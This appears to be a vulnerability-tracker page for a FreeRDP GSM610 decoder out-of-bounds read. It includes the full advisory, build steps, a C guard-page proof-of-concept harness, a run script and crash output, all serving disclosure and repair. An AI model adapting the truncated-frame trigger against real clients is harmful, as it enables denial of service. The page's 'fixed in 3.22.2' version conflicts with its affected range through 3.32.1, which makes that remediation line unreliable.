Out-of-bounds read in FreeRDP GSM610 decoder on truncated audio
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-wg7g-gx9g-r96c. Fix status from GitHub.
Summary
FreeRDP 2.0.0 through 3.32.1 and current master are affected when built with WITH_GSM=ON and WITH_DSP_FFMPEG=OFF. The built-in GSM610 decoder accepts truncated WAV49 audio and reads past the end of the received data (CWE-125). A malicious RDP server can send a short GSM610 audio message to a client with audio playback enabled, which can crash the client.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Summary When FreeRDP is built with libgsm support and without the FFmpeg DSP backend, `freerdp_dsp_decode_gsm610` configures libgsm for WAV49 and accepts any non-empty byte length. The loop calls the lengthless `gsm_decode` API before checking whether the current alternating WAV49 frame is complete. The required frame sizes are 33 bytes and 32 bytes, but the only loop condition is `offset < size`. A malicious RDP server can negotiate GSM610 on `rdpsnd` and send a length-consistent WAVE2 message whose audio body is shorter than the next complete frame. FreeRDP then gives libgsm a pointer from which the library reads beyond the received audio body. With the byte immediately after a 32-byte first frame placed on an inaccessible page, the production decoder terminates with `SIGSEGV`. The 33-byte control decodes successfully. ## Details # Truncated GSM610/WAV49 audio can make libgsm read past the received frame ## Submission metadata - Product: FreeRDP - Component: built-in GSM610 decoder used by the `rdpsnd` client - Current baseline: `3fd6912fcae17069c69c256b30c50af66fe625ee` - Supported stable reproduced: 3.32.1, commit `bf217a504e54cc719880c228e82353382cd7d4fa` - Weakness: CWE-125 (Out-of-bounds Read) - Suggested severity: Medium - Provisional CVSS 3.1: `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` (6.5) - Validation scope: production decoder with an inaccessible guard page immediately after input ## Summary When FreeRDP is built with libgsm support and without the FFmpeg DSP backend, `freerdp_dsp_decode_gsm610` configures libgsm for WAV49 and accepts any non-empty byte length. The loop calls the lengthless `gsm_decode` API before checking whether the current alternating WAV49 frame is complete. The required frame sizes are 33 bytes and 32 bytes, but the only loop condition is `offset < size`. A malicious RDP server can negotiate GSM610 on `rdpsnd` and send a length-consistent WAVE2 message whose audio body is shorter than the next complete frame. FreeRDP then gives libgsm a pointer from which the library reads beyond the received audio body. With the byte immediately after a 32-byte first frame placed on an inaccessible page, the production decoder terminates with `SIGSEGV`. The 33-byte control decodes successfully. ## Preconditions - The victim initiates a connection to a malicious or compromised RDP server. - Audio playback is enabled so the `rdpsnd` client channel is loaded. - FreeRDP was built with `WITH_GSM=ON` and `WITH_DSP_FFMPEG=OFF`. - The server offers GSM610 and the selected local backend does not consume that format directly, so FreeRDP uses its built-in DSP decoder. GSM is an optional build feature and the FFmpeg DSP backend is preferred by many builds. These conditions narrow exposure but do not change the remote trust boundary once that supported build configuration is deployed. ## Attack chain 1. The malicious server supplies a GSM610 audio format on the `rdpsnd` static channel. 2. `rdpsnd_main.c` accepts it when the built-in DSP reports GSM610 support. 3. A complete WAVE2 message may contain any audio-body length after its 12-byte header; the channel and WAVE2 checks prove only that the declared bytes are present. 4. `rdpsnd_treat_wave` passes that body and length to `freerdp_dsp_decode`. 5. With the non-FFmpeg GSM build, dispatch reaches `freerdp_dsp_decode_gsm610`. 6. The decoder enters on `offset < size` and calls `gsm_decode` before verifying that 33 or 32 bytes remain. It advances by the frame size only after the call. A minimal wire-shaped example is a WAVE2 body containing a valid 12-byte WAVE2 header followed by 32 audio bytes. The surrounding static-channel `totalLength` and WAVE2 `BodySize` can remain fully consistent; the missing check is at the codec-frame boundary. ## Dynamic validation Submission-day validation on 2026-10-08 reproduced the same differential on current master `3fd6912fcae17069c69c256b30c50af66fe625ee`: the 33-byte control decoded 320 bytes and exited 0; the 32-byte trigger crossed into the guard page and exited 139. Applying the attached patch to that exact revision preserved the control and rejected the trigger before libgsm with exit 1 and `decode_ok=false`. The verifier compiles current production `libfreerdp/codec/dsp.c`. It maps two pages, marks the second page inaccessible, and places the last supplied byte at the end of the first page. It then uses the production GSM610 decoder with WAV49 enabled. Current master and supported FreeRDP 3.32.1 produced the same result: ```text control_exit=0 input_bytes=33 page_remaining=33 decode_ok=true output_bytes=320 attack_exit=139 input_bytes=32 page_remaining=32 Segmentation fault (core dumped) VULNERABLE: truncated 32-byte frame crossed into the guard page ``` The guard page does not manufacture the out-of-bounds access. It makes the byte immediately beyond the logical and mapped input unavailable so the lengthless libgsm read is observable. On ordinary heap layouts, the same access can read adjacent mapped memory without an immediate crash. ## Affected versions The vulnerable decoder was introduced by commit `f89c1857b9773fe0a472caf95bc533f43abad48d` on 2018-02-20 and is included from FreeRDP 2.0.0. The exact call-before-length-check shape is source-confirmed in 3.0.0, 3.13.0, 3.20.0, 3.24.0, 3.28.0, 3.31.1, 3.32.0, 3.32.1, and current master. FreeRDP's policy currently supports the 3.x branch and master; the dynamic reproductions cover both the latest stable tag and master. ## Impact A malicious server can cause a client-side out-of-bounds read and, when the read crosses an unmapped boundary, terminate the FreeRDP process. The demonstrated security impact is availability loss after the user connects. The report does not claim an out-of-bounds write, code execution, confidentiality loss, or integrity loss. ## Suggested remediation Compute the required WAV49 frame size before every `gsm_decode` call and reject the input unless that many bytes remain. Advance by the already validated size. Add controls for complete 33-byte, complete 65-byte, zero-byte, 1-byte, 32-byte, 34-byte, and 64-byte inputs. The proposed patch implements the minimal per-frame check: ```c const size_t frameSize = ((offset % 65) == 0) ? 33 : 32; if ((size - offset) < frameSize) return FALSE; ``` With the identical guard-page input after the patch, the 33-byte control remains compatible and the 32-byte attack is rejected before libgsm: ```text control_exit=0 input_bytes=33 page_remaining=33 decode_ok=true output_bytes=320 attack_exit=1 input_bytes=32 page_remaining=32 decode_ok=false output_bytes=0 FIXED: truncated 32-byte frame was rejected before libgsm ``` ## Public duplicate search On 2026-10-06, exact public searches covered `GSM610`, `WAV49`, `freerdp_dsp_decode_gsm610`, `libgsm`, and FreeRDP's published security advisories. No exact public issue or advisory for this frame-boundary bug was found. The public Opus and ADPCM decoder advisories concern distinct output-buffer or codec roots. ## AI assistance disclosure AI assistance was used for source review, the bounded guard-page regression, version-history review, public duplicate searches, and drafting. Both quoted runtime outcomes were reproduced locally against the stated source revisions. ## Proof of concept The verifier is bounded, opens no network service, and intentionally crashes only its disposable 32-byte child process. ### Build the exact baseline ````sh sudo apt-get update sudo apt-get install -y git build-essential cmake ninja-build libssl-dev zlib1g-dev libgsm1-dev git clone https://github.com/FreeRDP/FreeRDP.git cd FreeRDP git checkout 7a191013514ab67b329b3ca4fd48a96f3cf79f43 cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Debug \ -DWITH_GSM=ON -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \ -DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_SDL=OFF \ -DWITH_SERVER=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF \ -DWITH_OPENH264=OFF -DWITH_PCSC=OFF -DWITH_CUPS=OFF \ -DWITH_PULSE=OFF -DWITH_ALSA=OFF -DWITH_KRB5=OFF \ -DWITH_JSON_DISABLED=ON -DWITH_UNICODE_BUILTIN=ON -DBUILD_TESTING=OFF cmake --build build --target winpr freerdp -j"$(nproc)" ```` ### Save as `poc/include/gsm/gsm.h` ````c #ifndef FREERDP_POC_GSM_H #define FREERDP_POC_GSM_H #include <stdio.h> typedef short gsm_signal; typedef unsigned char gsm_byte; typedef gsm_byte gsm_frame[33]; typedef struct gsm_state* gsm; #define GSM_OPT_WAV49 4 gsm gsm_create(void); void gsm_destroy(gsm state); int gsm_option(gsm state, int option, int* value); void gsm_encode(gsm state, gsm_signal* source, gsm_byte* dest); int gsm_decode(gsm state, gsm_byte* source, gsm_signal* dest); #endif ```` ### Save as `poc/gsm610_wav49_guard.c` ````c /* Guard-page verifier for the production FreeRDP GSM610/WAV49 decoder. */ #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #ifndef WITH_GSM #define WITH_GSM 1 #endif #include "libfreerdp/codec/dsp.c" int main(int argc, char** argv) { size_t size = 32; if (argc == 2) { const unsigned long long value = strtoull(argv[1], NULL, 0); if ((value == 0) || (value > 65)) return 64; size = (size_t)value; } const long pageSizeLong = sysconf(_SC_PAGESIZE); if (pageSizeLong <= 0) return 2; const size_t pageSize = (size_t)pageSizeLong; BYTE* mapping = mmap(NULL, pageSize * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mapping == MAP_FAILED) return 3; if (mprotect(mapping + pageSize, pageSize, PROT_NONE) != 0) return 4; BYTE* input = mapping + pageSize - size; memset(input, 0, size); FREERDP_DSP_CONTEXT context = { 0 }; context.gsm = gsm_create(); if (!context.gsm) return 5; int wav49 = 1; if (gsm_option(context.gsm, GSM_OPT_WAV49, &wav49) < 0) return 6; wStream* output = Stream_New(NULL, 1024); if (!output) return 7; printf("input_bytes=%zu page_remaining=%zu\n", size, pageSize - (size_t)(input - mapping)); fflush(stdout); const BOOL ok = freerdp_dsp_decode_gsm610(&context, input, size, output); printf("decode_ok=%s output_bytes=%zu\n", ok ? "true" : "false", Stream_GetPosition(output)); Stream_Free(output, TRUE); gsm_destroy(context.gsm); munmap(mapping, pageSize * 2); return ok ? 0 : 1; } ```` ### Save as `poc/run.sh` and run ````sh #!/bin/sh set -eu : "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP checkout}" : "${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}" HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORK=${WORK:-"$HERE/.build"} CC=${CC:-cc} GSM_LDFLAGS=${GSM_LDFLAGS:--lgsm} mkdir -p "$WORK" "$CC" -std=gnu11 -O1 -g -w -ffunction-sections -fdata-sections -DWITH_GSM=1 \ -I"$HERE/include" \ -I"$FREERDP_SOURCE" \ -I"$FREERDP_SOURCE/include" \ -I"$FREERDP_SOURCE/winpr/include" \ -I"$FREERDP_BUILD/include" \ -I"$FREERDP_BUILD/winpr/include" \ "$HERE/gsm610_wav49_guard.c" \ -L"$FREERDP_BUILD/libfreerdp" \ -L"$FREERDP_BUILD/winpr/libwinpr" \ -Wl,--gc-sections \ -Wl,-rpath,"$FREERDP_BUILD/libfreerdp:$FREERDP_BUILD/winpr/libwinpr" \ -lfreerdp3 -lwinpr3 $GSM_LDFLAGS -lssl -lcrypto -lz -lpthread -ldl -lrt -lm \ -o "$WORK/gsm610_wav49_guard" cd "$WORK" ulimit -c 0 set +e ./gsm610_wav49_guard 33 >control.txt 2>&1 control_status=$? ./gsm610_wav49_guard 32 >attack.txt 2>&1 attack_status=$? set -e echo "control_exit=$control_status" cat control.txt echo "attack_exit=$attack_status" cat attack.txt test "$control_status" -eq 0 grep -q '^decode_ok=true output_bytes=320$' control.txt test "$attack_status" -eq 139 echo "VULNERABLE: truncated 32-byte frame crossed into the guard page" chmod +x poc/run.sh FREERDP_SOURCE="$PWD" FREERDP_BUILD="$PWD/build" WORK=/tmp/freerdp-gsm-review sh poc/run.sh ```` ### Observed output ````text Validation date: 2026-10-06 (Asia/Hong_Kong) Source: 7a191013514ab67b329b3ca4fd48a96f3cf79f43 Production code: libfreerdp/codec/dsp.c, freerdp_dsp_decode_gsm610 libgsm runtime: Ubuntu libgsm.so.1 (1.0.19) control_exit=0 input_bytes=33 page_remaining=33 decode_ok=true output_bytes=320 attack_exit=139 input_bytes=32 page_remaining=32 Segmentation fault (core dumped) VULNERABLE: truncated 32-byte frame crossed into the guard page ```` ## Impact A malicious server can cause a client-side out-of-bounds read and, when the read crosses an unmapped boundary, terminate the FreeRDP process. The demonstrated security impact is availability loss after the user connects. The report does not claim an out-of-bounds write, code execution, confidentiality loss, or integrity loss. ## AI assistance disclosure AI assistance was used for source review, the bounded guard-page regression, version-history review, public duplicate searches, and drafting. Both quoted runtime outcomes were reproduced locally against the stated source revisions.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | 2.0.0 through 3.32.1 and current master, when built with WITH_GSM=ON and WITH_DSP_FFMPEG=OFF | 3.22.2 | Patch available | GHSA-wg7g-gx9g-r96c |
- FreeRDP (c) Vendor— Affected 2.0.0 through 3.32.1 and current master, when built with WITH_GSM=ON and WITH_DSP_FFMPEG=OFF Fixed in 3.22.2 Patch available GHSA-wg7g-gx9g-r96c
Remediation
Update FreeRDP to version 3.22.2 or later.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-wg7g-gx9g-r96c FreeRDP (c) Fixed in 3.22.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-wg7g-gx9g-r96c
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences